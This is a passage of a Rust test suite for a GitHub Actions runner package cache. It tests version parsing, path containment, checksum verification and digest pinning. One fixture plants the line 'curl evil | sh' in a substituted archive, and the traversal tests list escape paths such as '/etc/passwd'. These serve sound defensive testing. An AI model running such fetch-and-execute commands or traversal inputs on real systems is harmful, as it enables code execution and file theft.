2740        /// fetch returned. This is what stops the "partial file is removed"
2741        /// assertion from passing over a file that was never created.
2742        wrote: Mutex<Vec<PathBuf>>,
2743        fail: Mutex<bool>,
2744    }
2745
2746    impl FakeFetcher {
2747        fn with(payload: Vec<u8>) -> Arc<Self> {
2748            Arc::new(Self {
2749                payload: Mutex::new(payload),
2750                calls: Mutex::new(Vec::new()),
2751                wrote: Mutex::new(Vec::new()),
2752                fail: Mutex::new(false),
2753            })
2754        }
2755
2756        fn serve(&self, payload: Vec<u8>) {
2757            *self.payload.lock().unwrap() = payload;
2758        }
2759
2760        fn calls(&self) -> Vec<(String, PathBuf)> {
2761            self.calls.lock().unwrap().clone()
2762        }
2763
2764        fn count(&self) -> usize {
2765            self.calls.lock().unwrap().len()
2766        }
2767
2768        fn wrote(&self) -> Vec<PathBuf> {
2769            self.wrote.lock().unwrap().clone()
2770        }
2771    }
2772
2773    #[async_trait::async_trait]
2774    impl PackageFetcher for FakeFetcher {
2775        async fn fetch(&self, url: &str, destination: &Path) -> Result<u64, PackageError> {
2776            self.calls
2777                .lock()
2778                .unwrap()
2779                .push((url.to_string(), destination.to_path_buf()));
2780            if *self.fail.lock().unwrap() {
2781                return Err(PackageError::Download {
2782                    detail: "connection reset".to_string(),
2783                });
2784            }
2785            let payload = self.payload.lock().unwrap().clone();
2786            fs::write(destination, &payload).expect("the fake fetcher writes its payload");
2787            assert!(
2788                destination.is_file(),
2789                "the fake fetcher must actually create the file, or every \
2790                 assertion about removing it is vacuous"
2791            );
2792            self.wrote.lock().unwrap().push(destination.to_path_buf());
2793            Ok(payload.len() as u64)
2794        }
2795    }
2796
2797    // -- harness -----------------------------------------------------------
2798
2799    struct Harness {
2800        _dir: tempfile::TempDir,
2801        paths: AppPaths,
2802        catalog: Arc<FakeCatalog>,
2803        fetcher: Arc<FakeFetcher>,
2804        clock: Arc<FakeClock>,
2805    }
2806
2807    impl Harness {
2808        fn new(downloads: Vec<RunnerDownload>, payload: Vec<u8>) -> Self {
2809            let dir = tempfile::tempdir().expect("a temporary root");
2810            let paths = AppPaths::rooted_at(dir.path());
2811            Self {
2812                _dir: dir,
2813                paths,
2814                catalog: FakeCatalog::with(downloads),
2815                fetcher: FakeFetcher::with(payload),
2816                clock: Arc::new(FakeClock::default()),
2817            }
2818        }
2819
2820        fn with_catalog(mut self, catalog: Arc<FakeCatalog>) -> Self {
2821            self.catalog = catalog;
2822            self
2823        }
2824
2825        fn cache(&self) -> PackageCache {
2826            self.cache_for(Os::Linux, Arch::X64)
2827        }
2828
2829        fn cache_for(&self, os: Os, arch: Arch) -> PackageCache {
2830            PackageCache::new(
2831                &self.paths,
2832                os,
2833                arch,
2834                CachePorts {
2835                    catalog: self.catalog.clone(),
2836                    fetcher: self.fetcher.clone(),
2837                    backoff: Arc::new(NoBackoff),
2838                    clock: self.clock.clone(),
2839                },
2840            )
2841        }
2842    }
2843
2844    /// One `.tar.gz` package published for `linux/x64`, with the digest GitHub
2845    /// would have published for those exact bytes.
2846    fn linux_fixture() -> (Harness, Vec<u8>, String) {
2847        let payload = tar_gz_bytes(&package_entries());
2848        let digest = hex_digest(&payload);
2849        let downloads = vec![published(
2850            "linux",
2851            "x64",
2852            "2.330.0",
2853            ".tar.gz",
2854            Some(&digest),
2855        )];
2856        (Harness::new(downloads, payload.clone()), payload, digest)
2857    }
2858
2859    /// Every path under `root`, for asserting that nothing landed somewhere.
2860    fn all_paths(root: &Path) -> Vec<String> {
2861        fn walk(base: &Path, dir: &Path, out: &mut Vec<String>) {
2862            let Ok(entries) = fs::read_dir(dir) else {
2863                return;
2864            };
2865            for entry in entries.flatten() {
2866                let path = entry.path();
2867                out.push(
2868                    path.strip_prefix(base)
2869                        .unwrap_or(&path)
2870                        .to_string_lossy()
2871                        .replace('\\', "/"),
2872                );
2873                if path.is_dir() {
2874                    walk(base, &path, out);
2875                }
2876            }
2877        }
2878        let mut out = Vec::new();
2879        walk(root, root, &mut out);
2880        out.sort();
2881        out
2882    }
2883
2884    fn version(raw: &str) -> RunnerVersion {
2885        RunnerVersion::parse(raw).expect("a well-formed test version")
2886    }
2887
2888    // =====================================================================
2889    // Value types: the version is a path component, so parsing it is a
2890    // security control rather than a convenience.
2891    // =====================================================================
2892
2893    #[test]
2894    fn a_version_is_two_to_four_runs_of_digits_and_nothing_else() {
2895        for good in ["2.330.0", "2.9", "1.2.3.4", "0.0.0"] {
2896            assert!(
2897                RunnerVersion::parse(good).is_ok(),
2898                "`{good}` should parse as a version"
2899            );
2900        }
2901        // Everything here would be a usable path component, a traversal, or an
2902        // absolute path if it reached `Path::join`.
2903        for bad in [
2904            "",
2905            ".",
2906            "..",
2907            "../..",
2908            "2",
2909            "2.330.0.1.2",
2910            "a.b",
2911            "2.330.x",
2912            "2/330",
2913            "2\\330",
2914            "/2.330.0",
2915            "C:2.330.0",
2916            "2.330.0 ",
2917            " 2.330.0",
2918            "2..0",
2919            "2.330.0/../..",
2920        ] {
2921            assert!(
2922                RunnerVersion::parse(bad).is_err(),
2923                "`{bad}` must be refused: it becomes a directory name"
2924            );
2925        }
2926    }
2927
2928    #[test]
2929    fn anything_that_parses_as_a_version_is_a_single_safe_path_component() {
2930        // The property the parser exists to buy. Asserted over the *dangerous*
2931        // candidates as well as the good ones: a version that parses is a
2932        // version that becomes a directory name, so the interesting claim is
2933        // "nothing that parses can escape", not "this one good value is fine".
2934        //
2935        // Asserting it over `2.330.0` alone was decorative — it stayed green
2936        // through a mutation that made `parse` accept `..`, because `2.330.0`
2937        // is a safe component whatever the parser does.
2938        for candidate in [
2939            "2.330.0",
2940            "2.9",
2941            "1.2.3.4",
2942            "",
2943            ".",
2944            "..",
2945            "../..",
2946            "2",
2947            "a.b",
2948            "2/330",
2949            "2\\330",
2950            "/2.330.0",
2951            "C:2.330.0",
2952            "2..0",
2953            "2.330.0/../..",
2954        ] {
2955            let Ok(parsed) = RunnerVersion::parse(candidate) else {
2956                continue;
2957            };
2958            let joined = Path::new("root").join(parsed.as_str());
2959            assert_eq!(
2960                joined.components().count(),
2961                2,
2962                "`{candidate}` parsed but adds more than one path component"
2963            );
2964            assert!(
2965                !joined
2966                    .components()
2967                    .any(|c| matches!(c, Component::ParentDir | Component::RootDir)),
2968                "`{candidate}` parsed but introduces a traversal or a root"
2969            );
2970        }
2971    }
2972
2973    #[test]
2974    fn versions_order_numerically_not_lexically() {
2975        assert!(version("2.9.0") < version("2.10.0"));
2976        assert!(version("2.330.0") > version("2.329.9"));
2977    }
2978
2979    #[test]
2980    fn a_version_is_read_out_of_the_published_filename() {
2981        // GitHub's runner-downloads response carries no version field; the
2982        // filename is the only signal there is.
2983        assert_eq!(
2984            RunnerVersion::from_filename("actions-runner-win-x64-2.330.0.zip").unwrap(),
2985            version("2.330.0")
2986        );
2987        assert_eq!(
2988            RunnerVersion::from_filename("actions-runner-linux-arm64-2.330.0.tar.gz").unwrap(),
2989            version("2.330.0")
2990        );
2991        // The fixture `c3` ships, so this module and that one agree on shape.
2992        let fixture = gh::download("osx", "arm64");
2993        assert_eq!(
2994            RunnerVersion::from_filename(&fixture.filename).unwrap(),
2995            version("2.330.0")
2996        );
2997    }
2998
2999    #[test]
3000    fn an_archive_this_agent_cannot_extract_is_refused_by_name() {
3001        for bad in [
3002            "actions-runner-linux-x64-2.330.0.rar",
3003            "actions-runner-linux-x64-2.330.0",
3004            "actions-runner-linux-x64-2.330.0.tar.xz",
3005        ] {
3006            let error = RunnerVersion::from_filename(bad).unwrap_err();
3007            assert!(
3008                matches!(error, PackageError::UnsupportedArchive { .. }),
3009                "`{bad}` should be an unsupported archive, got {error:?}"
3010            );
3011            assert!(error.is_terminal());
3012        }
3013    }
3014
3015    #[test]
3016    fn a_digest_is_sixty_four_hex_characters_normalised_to_lowercase() {
3017        let upper = "A".repeat(64);
3018        assert_eq!(Sha256Hex::parse(&upper).unwrap().as_str(), "a".repeat(64));
3019        for bad in ["", "abc", &"g".repeat(64), &"a".repeat(63), &"a".repeat(65)] {
3020            assert!(
3021                Sha256Hex::parse(bad).is_err(),
3022                "`{bad}` is not a SHA-256 digest"
3023            );
3024        }
3025    }
3026
3027    #[test]
3028    fn a_malformed_published_digest_is_a_refusal_not_a_comparison_that_never_matches() {
3029        // The failure mode this parse exists to prevent: an `sha256:`-prefixed
3030        // or truncated value compared as a string can never equal a real
3031        // digest, so verification would refuse every package forever while
3032        // looking like it worked.
3033        let error = Sha256Hex::parse("sha256:9f86d081884c7d65").unwrap_err();
3034        assert!(matches!(error, PackageError::MalformedDigest { .. }));
3035        assert!(error.is_terminal());
3036        assert!(error.operator_action().is_some());
3037    }
3038
3039    // =====================================================================
3040    // Path containment. Lexical, because it must answer for paths that do
3041    // not exist yet.
3042    // =====================================================================
3043
3044    #[test]
3045    fn containment_answers_for_paths_that_do_not_exist() {
3046        let root = Path::new("/cache/packages");
3047        assert!(is_inside(root, Path::new("/cache/packages")));
3048        assert!(is_inside(root, Path::new("/cache/packages/2.330.0/bin/x")));
3049        assert!(!is_inside(root, Path::new("/cache")));
3050        assert!(!is_inside(root, Path::new("/cache/packages-other/x")));
3051        assert!(!is_inside(root, Path::new("/elsewhere/2.330.0")));
3052        // A `..` anywhere makes the lexical answer untrustworthy, so it is
3053        // never reported as contained.
3054        assert!(!is_inside(root, Path::new("/cache/packages/../escape")));
3055    }
3056
3057    #[test]
3058    fn an_archive_entry_may_not_resolve_outside_the_directory_it_is_extracted_into() {
3059        let root = Path::new("/cache/staging/root");
3060        assert!(resolve_inside(root, Path::new("bin/x"), "bin/x").is_ok());
3061        assert!(resolve_inside(root, Path::new("./bin/x"), "./bin/x").is_ok());
3062        for escape in ["../escape", "../../escape", "a/../../escape", "/etc/passwd"] {
3063            let error = resolve_inside(root, Path::new(escape), escape).unwrap_err();
3064            assert!(
3065                matches!(error, PackageError::UnsafeArchiveEntry { .. }),
3066                "`{escape}` must be refused, got {error:?}"
3067            );
3068        }
3069    }
3070
3071    // =====================================================================
3072    // DoD 1 — the selected package matches the host, and an unsupported pair
3073    // is refused before any download.
3074    // =====================================================================
3075
3076    #[tokio::test]
3077    async fn the_entry_matching_this_host_is_the_one_downloaded() {
3078        let payload = tar_gz_bytes(&package_entries());
3079        let digest = hex_digest(&payload);
3080        // Three published packages; only one is this host's. The decoys carry
3081        // the same digest so that picking the wrong one would still verify —
3082        // the test must fail on *selection*, not on the checksum.
3083        let harness = Harness::new(
3084            vec![
3085                published("win", "x64", "2.330.0", ".zip", Some(&digest)),
3086                published("linux", "x64", "2.330.0", ".tar.gz", Some(&digest)),
3087                published("osx", "arm64", "2.330.0", ".tar.gz", Some(&digest)),
3088            ],
3089            payload,
3090        );
3091        let cache = harness.cache_for(Os::Linux, Arch::X64);
3092
3093        let installed = cache.ensure_installed().await.expect("an install");
3094
3095        assert_eq!(installed.version(), &version("2.330.0"));
3096        let calls = harness.fetcher.calls();
3097        assert_eq!(calls.len(), 1);
3098        assert!(
3099            calls[0]
3100                .0
3101                .contains("actions-runner-linux-x64-2.330.0.tar.gz"),
3102            "the linux/x64 package should have been fetched, not `{}`",
3103            calls[0].0
3104        );
3105    }
3106
3107    #[tokio::test]
3108    async fn each_documented_host_selects_its_own_published_package() {
3109        // The selection path is exercised for every documented pair on every CI
3110        // leg, because the format is derived from the filename rather than from
3111        // the host this test happens to run on.
3112        for (os, arch, token_os, token_arch, extension) in [
3113            (Os::Windows, Arch::X64, "win", "x64", ".zip"),
3114            (Os::MacOs, Arch::Arm64, "osx", "arm64", ".tar.gz"),
3115            (Os::Linux, Arch::Arm32, "linux", "arm", ".tar.gz"),
3116        ] {
3117            let payload = if extension == ".zip" {
3118                zip_bytes(&package_entries())
3119            } else {
3120                tar_gz_bytes(&package_entries())
3121            };
3122            let digest = hex_digest(&payload);
3123            let harness = Harness::new(
3124                vec![
3125                    published("win", "x64", "2.330.0", ".zip", Some(&digest)),
3126                    published("osx", "arm64", "2.330.0", ".tar.gz", Some(&digest)),
3127                    published("linux", "arm", "2.330.0", ".tar.gz", Some(&digest)),
3128                ],
3129                payload,
3130            );
3131            let cache = harness.cache_for(os, arch);
3132
3133            let installed = cache
3134                .ensure_installed()
3135                .await
3136                .unwrap_or_else(|error| panic!("{os}/{arch} should install: {error}"));
3137
3138            let url = &harness.fetcher.calls()[0].0;
3139            assert!(
3140                url.contains(&format!("actions-runner-{token_os}-{token_arch}-")),
3141                "{os}/{arch} fetched `{url}`"
3142            );
3143            assert!(installed.root().join("run.sh").is_file());
3144        }
3145    }
3146
3147    #[tokio::test]
3148    async fn an_undocumented_host_is_refused_before_anything_is_requested() {
3149        let (harness, _, _) = linux_fixture();
3150        // `Arm32` is documented on Linux only; Windows on ARM32 is not a pair
3151        // this product supports.
3152        let cache = harness.cache_for(Os::Windows, Arch::Arm32);
3153
3154        let error = cache.ensure_installed().await.unwrap_err();
3155
3156        assert!(matches!(error, PackageError::UnsupportedHost(_)));
3157        assert!(error.is_terminal());
3158        assert!(error.operator_action().is_some());
3159        assert_eq!(
3160            harness.catalog.calls(),
3161            0,
3162            "an unsupported pair must be refused before the catalog is consulted"
3163        );
3164        assert_eq!(
3165            harness.fetcher.count(),
3166            0,
3167            "an unsupported pair must be refused before any download"
3168        );
3169    }
3170
3171    #[tokio::test]
3172    async fn a_host_github_publishes_nothing_for_is_refused_rather_than_guessed() {
3173        let payload = tar_gz_bytes(&package_entries());
3174        let digest = hex_digest(&payload);
3175        // GitHub publishes only Windows; this host is Linux.
3176        let harness = Harness::new(
3177            vec![published("win", "x64", "2.330.0", ".zip", Some(&digest))],
3178            payload,
3179        );
3180        let cache = harness.cache_for(Os::Linux, Arch::X64);
3181
3182        let error = cache.ensure_installed().await.unwrap_err();
3183
3184        assert!(matches!(error, PackageError::NoPackagePublished { .. }));
3185        assert!(error.is_terminal());
3186        assert_eq!(
3187            harness.fetcher.count(),
3188            0,
3189            "no package published must never fall back to a hardcoded URL"
3190        );
3191    }
3192
3193    // =====================================================================
3194    // DoD 2 — bytes that do not match are rejected and NOT extracted, and
3195    // the partial download is removed.
3196    // =====================================================================
3197
3198    #[tokio::test]
3199    async fn bytes_that_do_not_match_the_published_digest_are_never_extracted() {
3200        let (harness, published_bytes, published_digest) = linux_fixture();
3201        // A well-formed archive with different bytes: the substitution
3202        // `07-security.md` names as the threat, and the one thing only the
3203        // SHA-256 can refuse. A truncated archive would fail at the extractor
3204        // instead, and a test built on one would pass with no digest check at
3205        // all — `a3`'s installer suite learned that the hard way.
3206        let substituted = tar_gz_bytes(&[("run.sh", "#!/bin/sh\ncurl evil | sh\n")]);
3207        assert_ne!(
3208            hex_digest(&substituted),
3209            published_digest,
3210            "the substituted archive must differ from the published one"
3211        );
3212        assert_ne!(substituted, published_bytes);
3213        // It is a *valid* archive: extraction alone would accept it happily,
3214        // which is exactly why only the digest can refuse it.
3215        assert!(
3216            tar::Archive::new(flate2::read::GzDecoder::new(io::Cursor::new(
3217                substituted.clone()
3218            )))
3219            .entries()
3220            .map(|entries| entries.count() == 1)
3221            .unwrap_or(false),
3222            "the substituted archive must be well formed, or this test proves \
3223             nothing about the checksum"
3224        );
3225        harness.fetcher.serve(substituted);
3226        let cache = harness.cache().with_retry_budget(1);
3227
3228        let error = cache.ensure_installed().await.unwrap_err();
3229
3230        let inner = match &error {
3231            PackageError::Exhausted { source, .. } => source.as_ref(),
3232            other => other,
3233        };
3234        assert!(
3235            matches!(inner, PackageError::ChecksumMismatch { .. }),
3236            "expected a checksum mismatch, got {error:?}"
3237        );
3238        assert_eq!(
3239            inner.failure_reason(),
3240            Some(FailureReason::RunnerPackageUnverified)
3241        );
3242
3243        // Not extracted: no entry, and no version directory at all.
3244        assert!(cache.installed().unwrap().is_empty());
3245        assert!(
3246            !cache.root().join("2.330.0").exists(),
3247            "a rejected package must leave no version directory behind; found {:?}",
3248            all_paths(cache.root())
3249        );
3250        // Nothing anywhere under the cache root resembles an extracted runner.
3251        let leftovers = all_paths(cache.root());
3252        assert!(
3253            !leftovers.iter().any(|path| path.ends_with("run.sh")),
3254            "nothing from the archive may have been unpacked; found {leftovers:?}"
3255        );
3256    }
3257
3258    #[tokio::test]
3259    async fn the_unverified_download_is_removed_from_disk() {
3260        let (harness, _, _) = linux_fixture();
3261        harness
3262            .fetcher
3263            .serve(tar_gz_bytes(&[("run.sh", "substituted\n")]));
3264        let cache = harness.cache().with_retry_budget(1);
3265
3266        let error = cache.ensure_installed().await.unwrap_err();
3267        assert!(error.failure_reason().is_some());
3268
3269        // The fetcher asserts internally that it created the file, and records
3270        // the path only after that assertion. Without this, "the file is gone"
3271        // would be true of a file that never existed.
3272        let wrote = harness.fetcher.wrote();
3273        assert_eq!(wrote.len(), 1, "the fetcher must have written exactly once");
3274        assert!(
3275            !wrote[0].exists(),
3276            "the unverified download at {:?} must have been removed",
3277            wrote[0]
3278        );
3279
3280        // And no other copy of it survives anywhere in the cache.
3281        let leftovers = all_paths(cache.root());
3282        assert!(
3283            !leftovers.iter().any(|path| path.ends_with(".archive")),
3284            "no downloaded archive may survive a mismatch; found {leftovers:?}"
3285        );
3286    }
3287
3288    #[tokio::test]
3289    async fn a_checksum_mismatch_is_retryable_and_clean_bytes_still_install() {
3290        // `03-control-flows.md`: a download checksum failure is retried with
3291        // bounded backoff. The usual cause is a truncated transfer, and the
3292        // next attempt gets clean bytes.
3293        let (harness, good, _) = linux_fixture();
3294        harness
3295            .fetcher
3296            .serve(tar_gz_bytes(&[("run.sh", "truncated\n")]));
3297        let cache = harness.cache().with_retry_budget(3);
3298
3299        // First: three attempts, all bad, budget exhausted.
3300        let error = cache.ensure_installed().await.unwrap_err();
3301        assert!(matches!(error, PackageError::Exhausted { attempts: 3, .. }));
3302        assert_eq!(
3303            harness.fetcher.count(),
3304            3,
3305            "a mismatch is retryable, so the budget should have been spent"
3306        );
3307
3308        // Then: the same cache, with the bytes GitHub actually published.
3309        harness.fetcher.serve(good);
3310        let installed = cache.ensure_installed().await.expect("clean bytes install");
3311        assert_eq!(installed.version(), &version("2.330.0"));
3312    }
3313
3314    // =====================================================================
3315    // DoD 3 — an absent checksum fails closed and names the remedy; an
3316    // operator-pinned digest then succeeds.
3317    // =====================================================================
3318
3319    #[tokio::test]
3320    async fn an_absent_published_checksum_refuses_to_install_and_names_the_remedy() {
3321        let payload = tar_gz_bytes(&package_entries());
3322        // `c3` ships this fixture precisely so this branch is reachable.
3323        let without = gh::download_without_checksum("linux", "x64");
3324        assert!(without.sha256_checksum().is_none());
3325        let harness = Harness::new(vec![without], payload);
3326        let cache = harness.cache();
3327
3328        let error = cache.ensure_installed().await.unwrap_err();
3329
3330        assert!(
3331            matches!(
3332                error,
3333                PackageError::ChecksumAbsent {
3334                    published: PublishedChecksum::Absent,
3335                    ..
3336                }
3337            ),
3338            "expected an absent checksum, got {error:?}"
3339        );
3340        assert!(error.is_terminal(), "failing closed is never retryable");
3341        assert_eq!(
3342            error.failure_reason(),
3343            Some(FailureReason::RunnerPackageUnverified)
3344        );
3345        let action = error.operator_action().expect("a terminal error acts");
3346        assert!(
3347            action.contains("pin"),
3348            "the remedy must name pinning, got `{action}`"
3349        );
3350        assert!(
3351            error.to_string().contains("Pin the digest"),
3352            "the message must name the remedy: `{error}`"
3353        );
3354        assert_eq!(
3355            harness.fetcher.count(),
3356            0,
3357            "an unverifiable package must not be downloaded at all"
3358        );
3359    }
3360
3361    #[tokio::test]
3362    async fn an_empty_published_checksum_is_reported_as_empty_rather_than_absent() {
3363        // `c3` keeps absent and empty apart deliberately; both are unusable,
3364        // but they are different facts about GitHub's response and the operator
3365        // is owed the one that happened.
3366        let payload = tar_gz_bytes(&package_entries());
3367        let harness = Harness::new(
3368            vec![published("linux", "x64", "2.330.0", ".tar.gz", Some(""))],
3369            payload,
3370        );
3371
3372        let error = harness.cache().ensure_installed().await.unwrap_err();
3373
3374        assert!(
3375            matches!(
3376                error,
3377                PackageError::ChecksumAbsent {
3378                    published: PublishedChecksum::Empty,
3379                    ..
3380                }
3381            ),
3382            "expected an empty checksum, got {error:?}"
3383        );
3384        assert!(error.to_string().contains("an empty sha256_checksum"));
3385    }
3386
3387    #[tokio::test]
3388    async fn an_operator_pinned_digest_installs_what_github_published_no_checksum_for() {
3389        let payload = tar_gz_bytes(&package_entries());
3390        let digest = hex_digest(&payload);
3391        let harness = Harness::new(
3392            vec![published("linux", "x64", "2.330.0", ".tar.gz", None)],
3393            payload,
3394        );
3395        let cache = harness.cache().with_pins(
3396            PinnedDigests::new()
3397                .pin("2.330.0", &digest)
3398                .expect("a well-formed pin"),
3399        );
3400
3401        let installed = cache.ensure_installed().await.expect("a pinned install");
3402
3403        assert_eq!(installed.version(), &version("2.330.0"));
3404        assert_eq!(installed.digest().as_str(), digest);
3405        assert!(installed.root().join("run.sh").is_file());
3406    }
3407
3408    #[tokio::test]
3409    async fn a_pinned_digest_is_a_digest_to_check_not_a_check_to_skip() {
3410        // The failure this asserts against is the obvious misreading of
3411        // "require an operator-pinned digest": treating the presence of a pin
3412        // as permission to install whatever arrives.
3413        let payload = tar_gz_bytes(&package_entries());
3414        let harness = Harness::new(
3415            vec![published("linux", "x64", "2.330.0", ".tar.gz", None)],
3416            payload,
3417        );
3418        let cache = harness.cache().with_retry_budget(1).with_pins(
3419            PinnedDigests::new()
3420                .pin("2.330.0", &"a".repeat(64))
3421                .unwrap(),
3422        );
3423
3424        let error = cache.ensure_installed().await.unwrap_err();
3425
3426        let inner = match &error {
3427            PackageError::Exhausted { source, .. } => source.as_ref(),
3428            other => other,
3429        };
3430        assert!(
3431            matches!(inner, PackageError::ChecksumMismatch { .. }),
3432            "a wrong pin must still refuse, got {error:?}"
3433        );
3434        assert!(cache.installed().unwrap().is_empty());
3435    }
3436
3437    #[tokio::test]
3438    async fn a_pin_for_a_different_version_does_not_unlock_this_one() {
3439        let payload = tar_gz_bytes(&package_entries());
3440        let digest = hex_digest(&payload);
3441        let harness = Harness::new(
3442            vec![published("linux", "x64", "2.330.0", ".tar.gz", None)],
3443            payload,
3444        );
3445        // The operator confirmed 2.320.0, not 2.330.0.
3446        let cache = harness
3447            .cache()
3448            .with_pins(PinnedDigests::new().pin("2.320.0", &digest).unwrap());
3449
3450        let error = cache.ensure_installed().await.unwrap_err();
3451
3452        assert!(matches!(error, PackageError::ChecksumAbsent { .. }));
3453        assert_eq!(harness.fetcher.count(), 0);
3454    }
3455
3456    #[tokio::test]
3457    async fn a_malformed_published_checksum_refuses_and_says_it_was_malformed() {
3458        // The third unusable shape, and the one that used to name a remedy the
3459        // operator could not carry out: it returned `MalformedDigest` from a
3460        // path where the pin was never consulted, while telling them to pin.
3461        let payload = tar_gz_bytes(&package_entries());
3462        for bad in ["sha256:9f86d081884c7d65", &"a".repeat(63), "not a digest"] {
3463            let harness = Harness::new(
3464                vec![published("linux", "x64", "2.330.0", ".tar.gz", Some(bad))],
3465                payload.clone(),
3466            );
3467
3468            let error = harness.cache().ensure_installed().await.unwrap_err();
3469
3470            assert!(
3471                matches!(
3472                    error,
3473                    PackageError::ChecksumAbsent {
3474                        published: PublishedChecksum::Malformed,
3475                        ..
3476                    }
3477                ),
3478                "`{bad}` should be reported as malformed, got {error:?}"
3479            );
3480            assert!(error.is_terminal());
3481            assert_eq!(
3482                error.failure_reason(),
3483                Some(FailureReason::RunnerPackageUnverified)
3484            );
3485            assert!(
3486                error.to_string().contains("a malformed sha256_checksum"),
3487                "the operator is owed the shape that actually arrived: `{error}`"
3488            );
3489            assert_eq!(harness.fetcher.count(), 0);
3490        }
3491    }
3492
3493    #[tokio::test]
3494    async fn a_malformed_published_checksum_is_rescued_by_an_operator_pin() {
3495        // The remedy the refusal names has to be one that works. Every unusable
3496        // shape — absent, empty, malformed — routes to the pin.
3497        let payload = tar_gz_bytes(&package_entries());
3498        let digest = hex_digest(&payload);
3499        let harness = Harness::new(
3500            vec![published(
3501                "linux",
3502                "x64",
3503                "2.330.0",
3504                ".tar.gz",
3505                Some("sha256:9f86d081884c7d65"),
3506            )],
3507            payload,
3508        );
3509        let cache = harness
3510            .cache()
3511            .with_pins(PinnedDigests::new().pin("2.330.0", &digest).unwrap());
3512
3513        let installed = cache
3514            .ensure_installed()
3515            .await
3516            .expect("a pin rescues a malformed published checksum");
3517
3518        assert_eq!(installed.digest().as_str(), digest);
3519        assert!(installed.root().join("run.sh").is_file());
3520    }
3521
3522    #[tokio::test]
3523    async fn every_unusable_published_checksum_shape_names_the_same_workable_remedy() {
3524        let payload = tar_gz_bytes(&package_entries());
3525        let digest = hex_digest(&payload);
3526        for (raw, expected) in [
3527            (None, PublishedChecksum::Absent),
3528            (Some(""), PublishedChecksum::Empty),
3529            (Some("nonsense"), PublishedChecksum::Malformed),
3530        ] {
3531            let downloads = vec![published("linux", "x64", "2.330.0", ".tar.gz", raw)];
3532
3533            // Without a pin: refused, and the message names pinning.
3534            let harness = Harness::new(downloads.clone(), payload.clone());
3535            let error = harness.cache().ensure_installed().await.unwrap_err();
3536            assert!(
3537                matches!(
3538                    &error,
3539                    PackageError::ChecksumAbsent { published, .. } if *published == expected
3540                ),
3541                "{expected:?}: got {error:?}"
3542            );
3543            assert!(error.operator_action().unwrap().contains("pin"));
3544
3545            // With a pin: installed. This is the assertion that makes the
3546            // remedy true rather than merely stated.
3547            let harness = Harness::new(downloads, payload.clone());
3548            let cache = harness
3549                .cache()
3550                .with_pins(PinnedDigests::new().pin("2.330.0", &digest).unwrap());
3551            cache
3552                .ensure_installed()
3553                .await
3554                .unwrap_or_else(|error| panic!("{expected:?} should be pinnable: {error}"));
3555        }
3556    }
3557
3558    // =====================================================================
3559    // DoD 4 — a cache entry is never mutated after extraction, and a second
3560    // install of the same version is a no-op.
3561    // =====================================================================
3562
3563    #[tokio::test]
3564    async fn a_second_install_of_the_same_version_rewrites_nothing() {
3565        let (harness, _, _) = linux_fixture();
3566        let cache = harness.cache();
3567
3568        let first = cache.ensure_installed().await.expect("the first install");
3569        assert_eq!(harness.fetcher.count(), 1);
3570        assert_eq!(harness.catalog.calls(), 1);
3571
3572        // Past the freshness window, with the SAME version still published.
3573        //
3574        // Advancing only past `check_interval` is not enough, and measuring
3575        // that is what fixed this test: the entry then still sits inside the
3576        // freshness window, so deleting the already-installed short-circuit
3577        // changed nothing — the freshness branch returned the same cached entry
3578        // and the test stayed green through a mutation that should have killed
3579        // it. Past the window that branch no longer covers, and the entry
3580        // short-circuit is the only thing between this call and a re-download.
3581        harness
3582            .clock
3583            .advance(Elapsed::days(FRESHNESS_WINDOW_DAYS + 1));
3584
3585        let second = cache.ensure_installed().await.expect("the second install");
3586
3587        assert_eq!(second.version(), first.version());
3588        assert_eq!(second.root(), first.root());
3589        assert_eq!(
3590            harness.catalog.calls(),
3591            2,
3592            "the published version should have been re-checked"
3593        );
3594        // THIS is the assertion that proves the no-op, and it is the only one
3595        // here that can distinguish a no-op from a re-install.
3596        //
3597        // An earlier version of this test also planted a marker file inside the
3598        // entry and compared a `(len, mtime, digest)` snapshot before and
3599        // after, and presented all three as proof. Two of the three could not
3600        // fail. The commit point is a single `fs::rename` onto the version
3601        // directory, which cannot replace a non-empty directory on any platform
3602        // this product targets — so even with the short-circuit deleted, the
3603        // rename fails, `entry()` answers `Some`, and the existing entry is
3604        // returned untouched. The marker survives and the snapshot matches for
3605        // a reason that has nothing to do with the branch under test. Three
3606        // legs that read as triple-proof and were single-proof is worse than
3607        // one honest leg, so the other two are gone.
3608        //
3609        // The immutability property they were reaching for is real and is
3610        // pinned separately, by `the_commit_rename_never_replaces_an_existing_
3611        // entry` below, which asserts the platform behaviour this design rests
3612        // on and *can* fail if it ever stops holding.
3613        assert_eq!(
3614            harness.fetcher.count(),
3615            1,
3616            "a version already held must not be downloaded again"
3617        );
3618    }
3619
3620    #[test]
3621    fn the_commit_rename_never_replaces_an_existing_entry() {
3622        // The assumption the whole immutability claim rests on, asserted
3623        // directly instead of being inferred from an install that would not
3624        // have exercised it.
3625        //
3626        // `download_verify_and_install` commits by renaming a staging directory
3627        // onto `packages/<version>/`. If that rename could clobber a populated
3628        // directory, an entry would be mutable after it landed and every
3629        // runtime copied from it could change underfoot. It cannot — and this
3630        // is where that stops being a comment.
3631        let dir = tempfile::tempdir().expect("a temporary root");
3632        let existing = dir.path().join("2.330.0");
3633        fs::create_dir_all(existing.join("bin")).unwrap();
3634        fs::write(existing.join("run.sh"), b"the original").unwrap();
3635        let replacement = dir.path().join("staging");
3636        fs::create_dir_all(&replacement).unwrap();
3637        fs::write(replacement.join("run.sh"), b"the replacement").unwrap();
3638
3639        let result = fs::rename(&replacement, &existing);
3640
3641        assert!(
3642            result.is_err(),
3643            "renaming onto a populated entry must fail, or entries are mutable"
3644        );
3645        assert_eq!(
3646            fs::read_to_string(existing.join("run.sh")).unwrap(),
3647            "the original",
3648            "the existing entry's contents must survive"
3649        );
3650        assert!(
3651            existing.join("bin").is_dir(),
3652            "the existing entry's structure must survive"
3653        );
3654    }
3655
3656    #[tokio::test]
3657    async fn a_stale_entry_that_is_still_the_published_version_is_reused() {
3658        // Past the freshness deadline, but GitHub has published nothing newer.
3659        // There is no fresher package to fetch, so re-downloading identical
3660        // bytes would cost 150-300 MB and change nothing.
3661        //
3662        // **This exits at the `entry(&version)` short-circuit, not at the
3663        // freshness branch** — the published version and the cached one are the
3664        // same, so the entry is found before staleness is ever consulted. An
3665        // earlier comment here claimed the freshness branch, which was wrong:
3666        // that branch is the one where the published version *differs* and the
3667        // cache is still inside the window, and it is pinned by
3668        // `a_cached_version_inside_the_window_is_not_re_downloaded`.
3669        //
3670        // What this test adds over the no-op test is the *staleness* of the
3671        // entry: it asserts that being past the deadline does not by itself
3672        // force a download when there is nothing newer to download.
